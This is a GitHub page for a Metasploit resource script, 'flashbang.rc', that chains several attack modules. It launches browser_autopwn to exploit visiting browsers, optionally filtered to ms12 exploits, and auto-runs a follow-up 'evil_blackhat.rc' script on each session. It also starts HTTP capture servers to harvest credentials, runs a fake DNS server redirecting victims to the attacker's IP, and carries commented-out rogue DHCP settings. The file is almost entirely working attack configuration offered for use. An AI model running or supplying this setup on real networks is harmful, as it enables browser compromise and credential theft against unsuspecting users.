-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathflashbang.rc
46 lines (41 loc) · 1008 Bytes
/
flashbang.rc
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#start browser autopwn
use auxiliary/server/browser_autopwn
setg AUTOPWN_HOST 192.168.1.42
setg AUTOPWN_PORT 55550
setg AUTOPWN_URI /ads
set LHOST 192.168.1.42
set LPORT 45000
set SRVPORT 55550
set URIPATH /ads
#examples of MATCH and EXCLUDE statements to narrow the attack
set MATCH ms12
#set MATCH java
#set EXCLUDE mozilla_navigatorjava
set AutoRunScript multi_console_command -rc /usr/src/pentoo/msfflashbang/evil_blackhat.rc
run
use auxiliary/server/capture/http
set SRVPORT 80
set SSL false
run
#examples of capturing more ports
#use auxiliary/server/capture/http
#set SRVPORT 443
#set SSL true
#run
#use auxiliary/server/capture/http
#set SRVPORT 8080
#set SSL false
#run
use auxiliary/server/fakedns
set TARGETHOST 192.168.1.42
set SRVPORT 53
set TARGETACTION BYPASS
set TARGETDOMAIN www.evilhackerdomain.com
run
#the dhcp server seems to mostly not work at all
#use auxiliary/server/dhcp
#set SRVHOST 169.254.0.1
#set NETMASK 255.255.0.0
#set DNSSERVER 169.254.0.2
#set ROUTER 169.254.0.1
#run